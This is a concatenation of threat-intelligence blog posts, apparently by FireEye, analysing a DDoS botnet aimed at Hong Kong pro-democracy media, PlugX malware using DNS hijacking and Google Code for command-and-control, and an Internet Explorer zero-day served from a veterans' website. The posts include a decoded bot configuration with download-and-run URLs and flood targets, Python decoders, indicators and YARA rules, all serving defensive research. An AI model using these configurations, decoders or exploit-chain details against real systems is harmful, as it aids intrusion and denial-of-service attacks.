56RVheFxIaJyBjWXlPRE56S0lBT14XGycgfkJYT0tOaUVfRF4XHCcgfkNHT1g XGBonIGNZfkNHT1gXGycg@$@ This configuration file can be decoded by stripping the leading and trailing @$@ characters. At this point, a simple base64 and XOR decode will reveal the plaintext configuration. The following snippet of python code can be used to decode this command: b64encoded = request.content.rstrip('@$@').lstrip('@$@') b64decoded = b64encoded.decode("base64") command = "" for c in b64decoded: x = ord(c) x = x ^ XOR_key command += chr(x) FireEye has observed two different single-byte XOR keys used to encode configuration files issued by the DDOS C2 servers in this campaign. The two different keys are 0x2A or 0x7E. The encoded configuration file shown above decodes to: [KernelSetting] IsReportState=0 IsDownFileRun0=0 CmdID0=1 DownFileRunUrl0=http://10.0.1.151/1.exe [UpdateServer] NewVersion=20140926 UpdateFileUrl=http://10.0.1.151/1.exe [DDOS_HostStatistics] CountUrl= Timer=2 [DDOS_ScriptFlood] IsScriptFlood=1 CmdID=123 ScriptFloodDNS= ScriptFloodUrl=http://nxapi.appledaily.com.hk/ ScriptFloodPort=80 IsGetUrlFile=1 IsSendPacket=0 ThreadLoopTime=5 ThreadCount=10 Timer=360 IsTimer=1 [DDOS_ScriptFlood_A1] IsScriptFlood=0 CmdID=1 ScriptFloodDNS=10.0.1.151 ScriptFloodUrl=10.0.1.151/1.html ScriptFloodPort=80 IsGetUrlFile=1 IsSendPacket=1 ThreadLoopTime=1 ThreadCount=1 Timer=20 IsTimer=1 [DDOS_UdpFlood] IsUdpFlood=0 CmdID=1 UdpFloodDNS=10.0.1.151 ThreadCount=1 Timer=20 IsTimer=1 [DDOS_UdpFlood_A1] IsUdpFlood=0 CmdID=1 UdpFloodDNS=10.0.1.151 ThreadCount=1 Timer=20 IsTimer=1 [DDOS_SynFlood] IsSynFlood=0 CmdID=1 SynFloodDNS=10.0.1.151 SynFloodPort=80 ThreadCount=1 Timer=20 IsTimer=1 [DDOS_TcpFlood] IsTcpFlood=0 CmdID=1 TcpFloodDNS=10.0.1.151 TcpFloodPort=80 IsSendPacket=1 ThreadCount=1 Timer=20 IsTimer=1 [DDOS_TcpFlood_A1] IsTcpFlood=0 CmdID=1 TcpFloodDNS=10.0.1.151 TcpFloodPort=80 IsSendPacket=1 ThreadCount=6 Timer=20 IsTimer=1 During the course of our research, we ve observed more than 30 different unique configuration files issued by the C2 servers listed above. These configurations issued commands to attack the following domains and IPs: nxapi.appledaily.com[.]hk 202.85.162.90 58.64.139.10 202.85.162.97 202.85.162.81 198.41.222.6 202.85.162.101 202.85.162.95 202.85.162.180 202.85.162.140 202.85.162.130 124.217.214.149 All of the above IPs host Next Media or Apple daily websites, with the exception of 58.64.139.10 and 124.217.214.149. The IP 58.64.139.10 has hosted hkgolden[.]com the domain for the HKGolden forum mentioned above. For approximately 14 hours between October 23rd and 24th, the attackers pushed a configuration update to four controls servers that instructed bots under their control to flood 124.217.214.149 with UDP traffic. The IP 124.217.214.149 hosted the attacker controlled domain p.java-sec[.]com. On Oct. 23, 2014, two of the active controls began instructing participating bots to cease attacks. By Oct. 24, 2014, all five of the known active control servers were issuing commands to cease the attacks. It should come as no surprise that hkgolden[.]com, nextmedia[.]com, and appledaily.com[.]hk websites are now or previously have been blocked by the Great Firewall of China indicating that the PRC has found the content hosted on these sites objectionable. Links to Previous Activity The most direct connection between these DDoS attacks and previous APT activity is the use of the QTI International and CallTogether code signing certificates, which we have seen in malware attributed to APT activity. The QTI International digital certificate has been previously used to sign binaries used in APT activity including Operation Poisoned Hurricane. Specifically, 17bc9d2a640da75db6cbb66e5898feb1 is a PlugX variant signed by the QTI International certificate. This PlugX variant connected to a Google Code project at code.google[.]com/p/udom/, where it decoded a command that configured its C2 server. The sample 0b54ae49fd5a841970b98a078968cb6b was signed with the QTI International certificate as well. This sample was first observed during a drive-by attack in June 2014, and was downloaded from java-se[.]com/jp.jpg. This sample is detected as Backdoor.APT.Preshin and connected to luxscena[.]com for C2. The QTI International certificate was also used to sign e2a4b96cce9de4fb126cfd5f5c73c3ed. We detect this payload as Backdoor.APT.PISCES and it used hk.java-se[.]com for C2. The java-se[.]com website was previously used in other attacks targeting the pro-democracy movement in Hong Kong. We first observed the presence of malicious javascript inserted into Hong Kong Association for Democracy and People Livelihood on June 26, 2014, which appeared as the following: More recently, as noted by Claudio Guarnieri, the website of the Democratic Party of Hong Kong was seen hosting a redirect to the same malicious javascript. The CallTogether certificate has been used to sign ecf21054ab515946a812d1aa5c408ca5. We also detect this payload as Backdoor.APT.PISCES and observed it connect to u.java-se[.]com. Both of these certificates are valid but can be detected and blocked via the following Yara signatures: rule callTogether_certificate meta: author = "Fireeye Labs" version = "1.0" reference_hash = "d08e038d318b94764d199d7a85047637" description = detects binaries signed with the CallTogether certificate strings: $serial = {452156C3B3FB0176365BDB5B7715BC4C} $o = "CallTogether, Inc." condition: $serial and $o rule qti_certificate meta: author = "Fireeye Labs" reference_hash = "cfa3e3471430a0096a4e7ea2e3da6195" description = "detects binaries signed with the QTI International Inc certificate" strings: $cn = "QTI International Inc" $serial = { 2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9 } condition: $cn and $serial These ongoing DDoS attacks and previous APT intrusion activity both target the hkgolden[.]com website. As noted above, this site has been targeted with a DDoS attack by a KernelBot network. We also found that the hkgolden[.]com website was compromised on Sept. 5, 2014 and had a redirect to a malicious javascript again hosted at another jave-se[.]com host, which appeared as follows: document.write(" Finally, as noted above the IP 124.217.214.149 was seen hosting the domain p.java-sec[.]com between Oct. 25, 2014 and Oct. 27, 2014. As Brandon Dixon noted here, the java-sec[.]com domain is linked to the javase[.]com by shared hosting history at the following IP address: 124.248.237.26 223.29.248.9 211.233.89.182 112.175.143.2 112.175.143.9 It is unclear why these actors would attack an IP address they were actively using. It s possible that the attackers wanted to test their botnet s capability by attacking an IP they were using to gather statistics on the size of the attack. It is also possible that the attackers simply made a mistake and accidentally issued commands to attack their own infrastructure. On Oct. 24, 2014, after attacking their own infrastructure, the attackers issued new instructions to their botnet that ceased all attacks. Conclusion While not conclusive, the evidence presented above shows a link between confirmed APT activity and ongoing DDoS attacks that appear to be designed to silence the Pro Democracy movement in Hong Kong. The evidence does not conclusively prove that the same actors responsible for the DDoS attacks are also behind the observed intrusion activity discussed above such as Operation Poisoned Hurricane. Rather, the evidence may indicate that a common quartermaster supports both the DDoS attacks and ongoing intrusion activity. In either scenario, there is a clear connection between the intrusion activity documented in Operation Poisoned Hurricane and the DDOS attacks documented here. While the tactics of these activities are very different from a technical perspective, each supports distinct political objectives. Operation Poisoned Hurricane s objective appeared to have in part been IP theft possibly for economic gain or other competitive advantages. In the DDOS attacks, the objective was to silence free speech and suppress the pro democracy movement in Hong Kong. The Chinese government is the entity most likely to be interested in achieving both of these objectives. APPENDIX MD5s c3d6450075d618b1edba17ee723eb3ca d08e038d318b94764d199d7a85047637 84bd0809b1dbc2dc86f30d30faaa7e4e 39bb90140fc0101f49377b6c60076f9d caa5529010c17b969da01ade084794c6 17bc9d2a640da75db6cbb66e5898feb1 0b54ae49fd5a841970b98a078968cb6b e2a4b96cce9de4fb126cfd5f5c73c3ed ecf21054ab515946a812d1aa5c408ca5 HOSTNAMES tommo[.]jp mizma.co[.]jp sp.you-maga[.]com nitori-tour[.]com ninekobe[.]com shinzenho[.]jp wizapply[.]com www.credo-biz[.]com www.sapporo-digital-photoclub[.]com wakayamasatei[.]com luxscena[.]com java-se[.]com hk.java-se[.]com u.java-se[.]com jre76.java-se[.]com p.java-sec[.]com This entry was posted in Threat Intelligence, Threat Research and tagged advanced malware, Cybersecurity, malware, zero-day by Ned Moran, Mike Oppenheim and Mike Scott. Bookmark the permalink. Operation Poisoned Hurricane Introduction Our worldwide sensor network provides researchers at FireEye Labs with unique opportunities to detect innovative tactics employed by malicious actors and protects our clients from these tactics. We recently uncovered a coordinated campaign targeting Internet infrastructure providers, a media organization, a financial services company, and an Asian government organization. The actor responsible for this campaign utilized legitimate digital certificates to sign their tools and employed innovative techniques to cloak their command and control traffic. Hurricane Electric Redirection In March of 2014, we detected Kaba (aka PlugX or SOGU) callback traffic to legitimate domains and IP addresses. Our initial conclusion was that this traffic was the result of malicious actors sleeping their implants, by pointing their command and control domains at legitimate IP addresses. As this is a popular technique, we did not think much of this traffic at the time. Further analysis revealed that the HTTP headers of the traffic in question contained a Host: entry for legitimate domains. As we have previously observed malware families that forge their HTTP headers to include legitimate domains in callback traffic, we concluded that the malware in this case was configured in the same way. An example of the observed traffic is as follows: POST /C542BB084F927229348B2A34 HTTP/1.1 Accept: */* CG100: 0 CG103: 0 CG107: 61456 CG108: 1 User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) Host: www.adobe.com Content-Length: 0 Cache-Control: no-cache As we continued to see this odd traffic throughout the summer we began a search for malware samples responsible for this behavior. Via this research, we found a malware sample that we believe was responsible for at least some of the strange traffic that we had observed. The identified sample had the following properties: MD5: 52d2d1ab9b84303a585fb81e927b9e01 Size: 180296 Compile Time: 2013-10-15 05:17:37 Import Hash: b29eb78c7ec3f0e89bdd79e3f027c029 .rdata: d7b6e412ba892e9751f845432625bbb0 .text: ed0dd6825e3536d878f39009a7777edc .data: 1bc25d2f0f3123bedea254ea7446dd50 .rsrc: 91484aa628cc64dc8eba867a8493c859 .reloc: f1df8fa77b5abb94563d5d97e5ccb8e2 RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 This sample was signed with a legitimate digital certificate from the Police Mutual Aid Association . This certificate has a serial number of 06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10 Analysis of this Kaba sample revealed that it was configured to directly connect to both www.adobe.com and update.adobe.com. Obviously, this configuration does not make a lot of sense, as the actor would not be able to control their implants from anywhere on the Internet since they did not have direct control over these domains unless the attackers were able to re-route traffic destined for these domains from specific victims. Indeed, further analysis of this Kaba variant revealed that it was also configured to use specific DNS resolvers. This sample was configured to resolve DNS lookups via Hurricane Electric s nameservers of 216.218.130.2, 216.218.131.2, 216.218.132.2 and 216.66.1.2. We found this interesting, so we investigated how these Hurricane Electric s nameservers were configured. Subsequently, we found that anyone could register for a free account with Hurricane Electric s hosted DNS service. Via this service, anyone with an account was able to register a zone and create A records for the registered zone and point those A records to any IP address they so desired. The dangerous aspect of this service is that anyone was able to hijack legitimate domains such as adobe.com. Although these nameservers are not recursors and were not designed to be queried directly by end users, they were returning results if queried directly for domains that were configured via Hurricane Electrics public DNS service. Furthermore, Hurricane Electric did not check if zones created by their users were already been registered or are otherwise legitimately owned by other parties. As we continued this research, we identified 21 legitimate fully qualified domain names that had been hijacked via this technique by at least one APT actor. In addition to the adobe.com domain mentioned above, another one of the poisoned domains is www.outlook.com. A lookup of this domain via Google DNS resolvers returns expected results: $ dig +short @8.8.8.8 www.outlook.com www.outlook.com.glbdns2.microsoft.com. www-nameast.outlook.com. 157.56.240.246 157.56.236.102 157.56.240.214 157.56.241.102 157.56.232.182 157.56.241.118 157.56.240.22 A quick lookup of these addresses reveal that Microsoft owns them: 157.56.240.246 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION 157.56.236.102 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION 157.56.240.214 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION 157.56.241.102 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION 157.56.232.182 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION 157.56.241.118 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION 157.56.240.22 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION However, as recently as August 4, 2014 a lookup of the same www.outlook.com domain via Hurricane Electric s resolvers returned entirely different results[1]: $ dig +short @216.218.130.2 www.outlook.com 59.125.42.167 $ dig +short @216.218.131.2 www.outlook.com 59.125.42.167 $ dig +short @216.218.132.2 www.outlook.com 59.125.42.167 $ dig +short @216.66.1.2 www.outlook.com 59.125.42.167 $ whois -h asn.shadowserver.org origin 59.125.42.167 3462 | 59.125.0.0/17 | HINET | TW | HINET.NET | DATA COMMUNICATION BUSINESS GROUP Passive DNS research on the 59.125.42.167 IP address revealed that multiple APT actors have previously used this IP address. IP Address 59.125.42.167 59.125.42.167 59.125.42.167 59.125.42.167 Domain First Seen ml65556.gicp[.]net 2014-06-23 wf.edsplan[.]com 2014-05-12 gl.edsplan[.]com 2014-05-12 unix.edsplan[.]com 2014-05-12 Last Seen 2014-07-23 2014-05-14 2014-05-14 2014-05-14 Additional researched uncovered more Kaba samples that were configured to leverage Hurricane Electric public DNS resolvers. Another sample has the following properties: MD5: eae0391e92a913e757ac78b14a6f079f Size: 184304 Compile Time: 2013-11-26 17:39:25 Import Hash: f749528b1db6fe5aee61970813c7bc18 Text Entry: 558bec83ec1056ff7508ff1518b00010 .rdata: 747abda5b3cd3494f056ab4345a909e4 .text: 475c20b8abc972710941ad6659492047 .data: d461f8f7b3f35b7c6855add6ae59e806 .rsrc: b195f57cb5e605cb719469492d9fe717 .reloc: d6b23cb71f214d33e56cf8f6a10c0c10 RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 This sample is signed with a recently expired digital certificate from MOCOMSYS INC . This certificate has a serial number of 03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80 This sample used Hurricane Electric s public DNS resolvers to route traffic to the hijacked domains of www.adobe.com and update.adobe.com. We also noted that this sample was configured to connect directly to 59.125.42.168 one IP address away from the IP that received traffic from the hijacked www.outlook.com domain. Passive DNS research revealed that this IP hosted the same set of known APT domains listed above: IP Address Domain First Seen Last Seen 59.125.42.168 59.125.42.168 59.125.42.168 59.125.42.168 ml65556.gicp[.]net 2014-04-23 wf.edsplan[.]com 2014-04-23 gl.edsplan[.]com 2014-05-04 unix.edsplan[.]com 2014-05-04 2014-07-24 2014-05-14 2014-05-14 2014-05-14 While this problem does not directly impact users of www.adobe.com, www.outlook.com, or users of the other affected domains, it should not be dismissed as inconsequential. Actors that adopt this tactic and obfuscate the destination of their traffic through localized DNS hijacks can significantly complicate the job of network defenders. Via our sensor network, we observed the actor responsible for this activity conducting a focused campaign. We observed this actor target: Multiple Internet Infrastructure Service Providers in Asia and the United States A Media Organization based in the United States A financial institution based in Asia An Asian government organization Google Code Command and Control Furthermore, we also discovered this same actor conducting a parallel campaign that leveraged Google Code for command and control. On August 1, 2014 we observed a malicious self-extracting executable (aka sfxrar) file downloaded from 211.125.81.203. This file had the following properties: MD5: 17bc9d2a640da75db6cbb66e5898feb1 Size: 282800 bytes A valid certificate from QTI INTERNATIONAL INC was used to sign this sfxrar. This certificate had a serial number of 2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9 . The sfxrar contained the following files: File msi.dll msi.dll.dat setup.exe Size 11680 115218 34424 029c8f56dd89ceeaf928c3148d13eba7 62834d2c967003ba5284663b61ac85b5 d00b3169f45e74bb22a1cd684341b14a Setup.exe is a legitimate executable from Kaspersky used to load the Kaba (aka PlugX) files msi.dll and msi.dll.dat. These Kaba files are configured to connect to Google Code specifically code.google.com/p/udom/. On August 1, this Google Code project contained the encoded command DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS .[2] These Kaba files are configured to connect to Google Code specifically code.google.com/p/udom/. On August 1, this Google Code project contained the encoded command DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS def NewPlugx_C2_redir_decode(s): rvalue = for x in range(0, len(s), 2): tmp0 = (ord(s[x+1]) 41) << 4 rvalue += chr(ord(s[x]) + tmp0 41) return rvalue The command DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS decodes to 222.122.208.10. In a live environment, the Kaba implant would then connect to this IP address via UDP. Further analysis of project at code.google.com/p/udom/ revealed the project owner, 0x916ftb691u, created a number of other projects. We decoded the commands hosted at these linked projects and found that they issued the following decoded commands: 112.175.143.22 59.125.42.167 153.121.57.213 61.82.71.10 202.181.133.169 61.78.32.139 61.78.32.148 202.181.133.216 59.125.42.168 119.205.217.104 222.122.208.10 112.175.143.16 222.122.208.9 27.122.13.204 It is likely that other yet to be discovered Kaba variants are configured to connect to these related Google Code projects and then redirect to this list of IP addresses. Passive DNS analysis of these IP addresses revealed connections to the following known malicious infrastructure: IP Address 27.122.13.204 112.175.143.16 112.175.143.16 112.175.143.16 112.175.143.16 59.125.42.168 59.125.42.168 59.125.42.168 59.125.42.168 59.125.42.167 59.125.42.167 59.125.42.167 59.125.42.167 61.78.32.148 61.78.32.148 61.78.32.148 61.78.32.148 61.78.32.148 61.78.32.148 112.175.143.22 112.175.143.22 112.175.143.22 112.175.143.22 112.175.143.22 112.175.143.22 Domain First Seen bq.cppcp[.]com 2014-03-21 uj.verisignss[.]com 2013-06-30 www.verifyss[.]com 2013-06-30 uj.byonds[.]com 2013-06-24 uj.verifyss[.]com 2013-06-30 ml65556.gicp[.]net 2014-04-23 wf.edsplan[.]com 2014-04-23 gl.edsplan[.]com 2014-05-04 unix.edsplan[.]com 2014-05-04 ml65556.gicp[.]net 2014-06-23 wf.edsplan[.]com 2014-05-12 gl.edsplan[.]com 2014-05-12 unix.edsplan[.]com 2014-05-12 door.nexoncorp[.]com 2014-04-30 verisignss[.]com 2014-04-30 th.nexoncorp[.]com 2014-04-30 tw.verisignss[.]com 2014-04-30 sd.nexoncorp[.]com 2014-04-30 mail.nexoncorp[.]com 2014-04-30 door.nexoncorp[.]com 2014-04-01 th.nexoncorp[.]com 2014-04-01 sd.nexoncorp[.]com 2014-04-01 mail.nexoncorp[.]com 2014-04-01 verisignss[.]com 2013-12-29 tw.verisignss[.]com 2013-12-29 Relationships Between Campaigns Last Seen 2014-05-08 2013-08-13 2013-07-22 2013-07-22 2013-07-22 2014-07-24 2014-05-14 2014-05-14 2014-05-14 2014-07-23 2014-05-14 2014-05-14 2014-05-14 2014-06-22 2014-06-22 2014-06-22 2014-06-22 2014-06-22 2014-06-22 2014-04-30 2014-04-30 2014-04-30 2014-04-30 2014-04-30 2014-04-30 As mentioned above the Kaba variant eae0391e92a913e757ac78b14a6f079f shared a common import hash of f749528b1db6fe5aee61970813c7bc18 with many of the samples listed in this post. This samples was to use Hurricane Electric s nameservers as well as connect directly to the IP address 59.125.42.168. Note that we identified the same C2 IP 59.125.42.168 via our analysis of the malicious Google Code projects. Specifically, the Google Project at code.google.com/p/tempzz/, which is linked to the project at code.google.com/p/udom/, issued an encoded command that decoded to 59.125.42.168. We also identified another related Kaba variant that connected to code.google.com/p/updata-server. This variant had the following properties: MD5: 50af349c69ae4dec74bc41c581b82459 Size: 180600 bytes Compile Time: 2014-04-01 03:28:31 Import Hash: f749528b1db6fe5aee61970813c7bc18 .rdata: 103beeefae47caa0a5265541437b03a1 .text: e7c4c2445e76bac81125b2a47384d83f .data: 5216d6e6834913c6cc75f40c8f70cff8 .rsrc: b195f57cb5e605cb719469492d9fe717 .reloc: f7d9d69b8d36fee5a63f78cbd3238414 RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 This sample was signed with a valid digital certificate from PIXELPLUS CO., LTD and had a serial number of 0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce In addition to sharing the same Import hash of f749528b1db6fe5aee61970813c7bc18 seen in other samples listed throughout this post, 50af349c69ae4dec74bc41c581b82459 contained a RT_VERSION resource of 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9. This same RT_VERSION was used in a number of other related samples including: Uses Hurricane Electric 7e6c8992026a79c080f88103f6a69d2c h.cppcp[.]comu.cppcp[.]com 52d2d1ab9b84303a585fb81e927b9e01 www.adobe[.]comupdate.adobe[.]com 787c6cf3cb18feeabe4227ec6b19db01 ns.lovechapelumc[.]orgns1.lovechapelumc[.]org NO Conclusion These coordinated campaigns demonstrate that APT actors are determined to continue operations. As computer network defenders increase their capabilities to identify and block these campaigns by deploying more advanced detection technologies, threat actors will continue to adopt creative evasion techniques. We observed the following evasion techniques in these campaigns: The use of legitimate digital certificates to sign malware The use of Hurricane Electrics public DNS resolvers to redirect command and control traffic The use of Google Code to obfuscate the location of command and control servers While none of these techniques are necessarily new, in combination, they are certainly both creative and have been observed to be effective. Although the resultant C2 traffic can be successfully detected and tracked, the fact that the malware appears to beacon to legitimate domains may lull defenders into a false sense of security. Network defenders should continue to study the evolution of advanced threat actors, as these adversaries will continue to evolve in pursuit of their designated objectives. Related MD5s 17bc9d2a640da75db6cbb66e5898feb1 eae0391e92a913e757ac78b14a6f079f 434b539489c588db90574a64f9ce781f 7e6c8992026a79c080f88103f6a69d2c 52d2d1ab9b84303a585fb81e927b9e01 787c6cf3cb18feeabe4227ec6b19db01 50af349c69ae4dec74bc41c581b82459 d51050cf98cc723f0173d1c058c12721 Digital Certificates MOCOMSYS INC, (03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80) PIXELPLUS CO., LTD., (0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce) Police Mutual Aid Association (06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10) QTI INTERNATIONAL INC (2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9) Ssangyong Motor Co. (1D 2B C8 46 D1 00 D8 FB 94 FA EA 4B 7B 5F D8 94) jtc (72 B4 F5 66 7F 69 F5 43 21 A9 40 09 97 4C CC F8) Footnotes [1] As of August 4, 2014 Hurricane Electric was no longer returning answers for www.outlook.com or the other affected domains. [2] This same encoding algorithm was previously described by Cassidian at http://blog.cassidiancybersecurity.com/post/2014/01/plugx-some-uncovered-points.html This entry was posted in Targeted Attack, Threat Research and tagged advanced attack, APT, evasion techniques, kana, plugx by Ned Moran, Joshua Homan and Mike Scott. Bookmark the permalink. Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website On February 11, FireEye identified a zero-day exploit (CVE-2014-0322) being served up from the U.S. Veterans of Foreign Wars website (vfw[.]org). We believe the attack is a strategic Web compromise targeting American military personnel amid a paralyzing snowstorm at the U.S. Capitol in the days leading up to the Presidents Day holiday weekend. Based on infrastructure overlaps and tradecraft similarities, we believe the actors behind this campaign are associated with two previously identified campaigns (Operation DeputyDog and Operation Ephemeral Hydra). This blog post examines the vulnerability and associated attacks, which we have dubbed Operation SnowMan. Exploit/Delivery analysis After compromising the VFW website, the attackers added an iframe into the beginning of the website HTML code that loads the attacker s page in the background. The attacker s HTML/JavaScript page runs a Flash object, which orchestrates the remainder of the exploit. The exploit includes calling back to the IE 10 vulnerability trigger, which is embedded in the JavaScript. Specifically, visitors to the VFW website were silently redirected through an iframe to the exploit at www.[REDACTED].com/Data/img/img.html. Mitigation The exploit targets IE 10 with Adobe Flash. It aborts exploitation if the user is browsing with a different version of IE or has installed Microsoft s Experience Mitigation Toolkit (EMET). So installing EMET or updating to IE 11 prevents this exploit from functioning. Vulnerability analysis The vulnerability is a previously unknown use-after-free bug in Microsoft Internet Explorer 10. The vulnerability allows the attacker to modify one byte of memory at an arbitrary address. The attacker uses the vulnerability to do the following: Gain access to memory from Flash ActionScript, bypassing address space layout randomization (ASLR) Pivot to a return-oriented programing (ROP) exploit technique to bypass data execution prevention (DEP) EMET detection The attacker uses the Microsoft.XMLDOM ActiveX control to load a one-line XML string containing a file path to the EMET DLL. Then the exploit code parses the error resulting from the XML load order to determine whether the load failed because the EMET DLL is not present. The exploit proceeds only if this check determines that the EMET DLL is not present. ASLR bypass Because the vulnerability allows attackers to modify memory to an arbitrary address, the attacker can use it to bypass ASLR. For example, the attacker corrupts a Flash Vector object and then accesses the corrupted object from within Flash to access memory. We have discussed this technique and other ASLR bypass approaches in our blog. One minor difference between the previous approaches and this attack is the heap spray address, which was changed to 0x1a1b2000 in this exploit. Code execution Once the attacker s code has full memory access through the corrupted Flash Vector object, the code searches through loaded libraries gadgets by machine code. The attacker then overwrites the vftable pointer of a flash.Media.Sound() object in memory to point to the pivot and begin ROP. After successful exploitation, the code repairs the corrupted Flash Vector and flash.Media.Sound to continue execution. Shellcode analysis Subsequently, the malicious Flash code downloads a file containing the dropped malware payload. The beginning of the file is a JPG image; the end of the file (offset 36321) is the payload, encoded with an XOR key of 0 95. The attacker appends the payload to the shellcode before pivoting to code control. Then, when the shellcode is executed, the malware creates files sqlrenew.txt and stream.exe . The tail of the image file is decoded, and written to these files. sqlrenew.txt is then executed with the LoadLibraryA Windows API call. ZxShell payload analysis As documented above, this exploit dropped an XOR (0 95) payload that executed a ZxShell backdoor (MD5: 8455bbb9a210ce603a1b646b0d951bce). The compile date of the payload was 2014-02-11, and the last modified date of the exploit code was also 2014-02-11. This suggests that this instantiation of the exploit was very recent and was deployed for this specific strategic Web compromise of the Veterans of Foreign Wars website. A possible objective in the SnowMan attack is targeting military service members to steal military intelligence. In addition to retirees, active military personnel use the VFW website. It is probably no coincidence that Monday, Feb. 17, is a U.S. holiday, and much of the U.S. Capitol shut down Thursday amid a severe winter storm. The ZxShell backdoor is a widely used and publicly available tool used by multiple threat actors linked to cyber espionage operations. This particular variant called back to a command and control server located at newss[.]effers[.]com. This domain currently resolves to 118.99.60.142. The domain info[.]flnet[.]org also resolved to this IP address on 2014-02-12. Infrastructure analysis The info[.]flnet[.]org domain overlaps with icybin[.]flnet[.]org and book[.]flnet[.]org via the previous resolutions to the following IP addresses: 58.64.200.178 58.64.200.179 103.20.192.4 First Seen 2013-08-31 2013-05-02 2013-08-02 2013-08-10 2013-07-15 2014-01-02 2013-12-03 Last Seen 2013-08-31 2013-08-02 2013-08-02 2013-08-10 2013-07-15 2014-01-02 2014-01-02 CnC Domain icybin.flnet[.]org 58.64.200.178 info.flnet[.]org 58.64.200.178 book.flnet[.]org 58.64.200.178 info.flnet[.]org 58.64.200.179 icybin.flnet[.]org 58.64.200.179 book.flnet[.]org 103.20.192.4 info.flnet[.]org 103.20.192.4 We previously observed Gh0stRat samples with the custom packet flag HTTPS calling back to book[.]flnet[.]org and icybin[.]flnet[.]org. The threat actor responsible for Operation DeputyDog also used the HTTPS version of the Gh0st. We also observed another HTTPS Gh0st variant connecting to a related command and control server at me[.]scieron[.]com. MD5 Hash CnC Domain 758886e58f9ea2ff22b57cbbb015166e book.flnet[.]org 0294f9280491f85d898ebe471f0fb58e icybin.flnet[.]org 9d20566a327076b7152bbf9ed20292c4 me.scieron[.]com The me[.]scieron[.]com domain previously resolved to 58.64.199.22. The book[.]flnet[.]org domain also resolved to another IP in the same subnet 58.64.199.0/24. Specifically, book[.]flnet[.]org previously resolved to 58.64.199.27. Others domain seen resolving to this same /24 subnet were dll[.]freshdns[.]org, ali[.]blankchair[.]com, and cht[.]blankchair[.]com. The domain dll[.]freshdns[.]org resolved to 58.64.199.25. Both ali[.]blankchair[.]com and cht[.]blankchair[.]com resolved to 58.64.199.22. First Seen Last Seen CnC Domain 2012-11-12 2012-04-09 2012-04-09 2012-11-08 2012-11-23 2012-05-29 2012-11-28 2012-10-24 2012-09-18 2012-11-25 2012-11-27 2012-6-28 me.scieron[.]com 58.64.199.22 cht.blankchair[.]com 58.64.199.22 ali.blankchair[.]com 58.64.199.22 dll.freshdns[.]org 58.64.199.25 rt.blankchair[.]com 58.64.199.25 book.flnet[.]org 58.64.199.27 A number of other related domains resolve to these IPs and other IPs also in this /24 subnet. For the purposes of this blog, we ve chosen to focus on those domains and IP that relate to the previously discussed DeputyDog and Ephemeral Hydra campaigns. You may recall that dll[.]freshdns[.]org, ali[.]blankchair[.]com and cht[.]blankchair[.]com were all linked to both Operation DeputyDog and Operation Ephemeral Hydra. Figure 1 illustrates the infrastructure overlaps and connections we observed between the strategic Web compromise campaign leveraging the VFW s website, the DeputyDog, and the Ephemeral Hydra operations. Figure 1: Ties between Operation SnowMan, DeputyDog, and Ephemeral Hydra Links to DeputyDog and Ephemeral Hydra Other tradecraft similarities between the actor(s) responsible for this campaign and the actor(s) responsible for the DeputyDog/Ephemeral Hydra campaigns include: The use of zero-day exploits to deliver a remote access Trojan (RAT) The use of strategic web compromise as a vector to distribute remote access Trojans The use of a simple single-byte XOR encoded (0 95) payload obfuscated with a .jpg extension The use of Gh0stRat with the HTTPS packet flag The use of related command-and-control (CnC) infrastructure during the similar time frames We observed many similarities from the exploitation side as well. At a high level, this attack and the CVE2013-3163 attack both leveraged a Flash file that orchestrated the exploit, and would call back into IE JavaScript to trigger an IE flaw. The code within the Flash files from each attack are extremely similar. They build ROP chains and shellcode the same way, both choose to corrupt a Flash Vector object, have some identical functions with common typos, and even share the same name. Conclusion These actors have previously targeted a number of different industries, including: U.S. government entities Japanese firms Defense industrial base (DIB) companies Law firms Information technology (IT) companies Mining companies Non-governmental organizations (NGOs) The proven ability to successfully deploy a number of different private and public RATs using zero-day exploits against high-profile targets likely indicates that this actor(s) will continue to operate in the mid to long-term. This entry was posted in Advanced Malware, Exploits, Targeted Attack, Threat Research, Vulnerabilities and tagged 0day, zero-day by Darien Kindlund, Dan Caselden, Xiaobo Chen, Ned Moran and Mike Scott. Bookmark the permalink. OrcaRAT - A whale of a tale By Dan Kelly and Tom Lancaster s every malware analyst s dream to be handed a sample which is, so 